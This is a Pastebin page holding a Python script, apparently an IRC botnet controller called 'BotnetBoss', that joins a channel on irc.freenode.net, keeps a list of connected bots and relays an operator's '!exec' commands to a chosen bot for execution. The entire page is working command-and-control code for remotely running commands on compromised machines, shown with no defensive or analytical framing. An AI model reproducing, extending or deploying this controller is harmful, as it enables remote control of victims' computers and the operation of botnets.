Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import sys
- import socket
- import string
- import subprocess
- import ipgetter
- from time import sleep
- HOST="irc.freenode.net"
- PORT=6667
- NICK="BotnetBoss"
- IDENT="boss"
- REALNAME="boss"
- readbuffer=""
- channel="#nullbyte"
- bots = []
- s=socket.socket( )
- def connect():
- s.connect((HOST, PORT))
- s.send("NICK %s\r\n" % NICK)
- s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
- print("Connected")
- while 1:
- print("Waiting for recv")
- global readbuffer
- readbuffer=readbuffer+s.recv(1024)
- temp=string.split(readbuffer, "\n")
- readbuffer=temp.pop( )
- for line in temp:
- line=string.rstrip(line)
- line=string.split(line)
- print(line)
- if(line[0]=="PING"):
- s.send("PONG %s\r\n" % line[1])
- elif(line[3]==":+i"):
- print("Aha!")
- return
- def listen():
- s.send("JOIN "+channel+"\r\n")
- s.send("PRIVMSG #nullbyte BOSS:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n")
- while 1:
- global readbuffer
- readbuffer=readbuffer+s.recv(1024)
- temp=string.split(readbuffer, "\n")
- readbuffer=temp.pop( )
- for line in temp:
- line=string.rstrip(line)
- line=string.split(line)
- print(line)
- if(line[0]=="PING"):
- print("ping")
- s.send("PONG %s\r\n" % line[1])
- global bots
- bots = []
- s.send("PRIVMSG #nullbyte BOSS:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n")
- s.sendall("PRIVMSG #nullbyte RESPOND\r\n")
- elif len(line) > 3:
- print("BOTLINE: "+str(line))
- if "SWM" in line[3]:
- print("BOTJOINLINE: "+str(line))
- bot = line[0].split('!')[0].replace(':','')+'|'.join(line[3].split(':')).replace('SWM','').replace('||','|')
- print(bot)
- s.send("PRIVMSG #nullbyte Bot added to list: "+bot+" with ID: "+str(int(len(bots)+1))+"\r\n")
- bots.append(bot+"|"+str(int(len(bots)+1)))
- print(bots)
- elif "QUIT" in line[1]:
- print("dong")
- bot = line[0].split('!')[0].replace(':','')
- print(bot)
- for i in bots:
- if bot in i:
- bots.remove(i)
- elif "STATUS" in line[3]:
- if not bots:
- print("test")
- s.send("PRIVMSG #nullbyte :No bots\r\n")
- else:
- for bot in bots:
- s.send("PRIVMSG #nullbyte "+bot+"\r\n")
- pass
- elif "JSchmoe" in line[0] and "!exec" in line[3]:
- selectedbot = 0
- print("Executing stuff")
- botID = line[4]
- command = ""
- reply = ""
- for bot in bots:
- print(bot)
- botnum = bot.split('|')[3]
- print(botnum)
- if botID == botnum:
- selectedbot = bot.split('|')[0]
- break
- if not selectedbot:
- s.send("PRIVMSG #nullbyte :Invalid ID\r\n")
- selectedbot = 0
- for x in range(5,len(line)):
- print(line[x])
- command += str(" "+line[x])
- print(command)
- if selectedbot != 0:
- s.send("PRIVMSG "+selectedbot+" :EXECUTE "+str(command)+"\r\n")
- try:
- connect()
- listen()
- except KeyboardInterrupt:
- s.sendall("QUIT\r\n")
Add Comment
Please, Sign In to add comment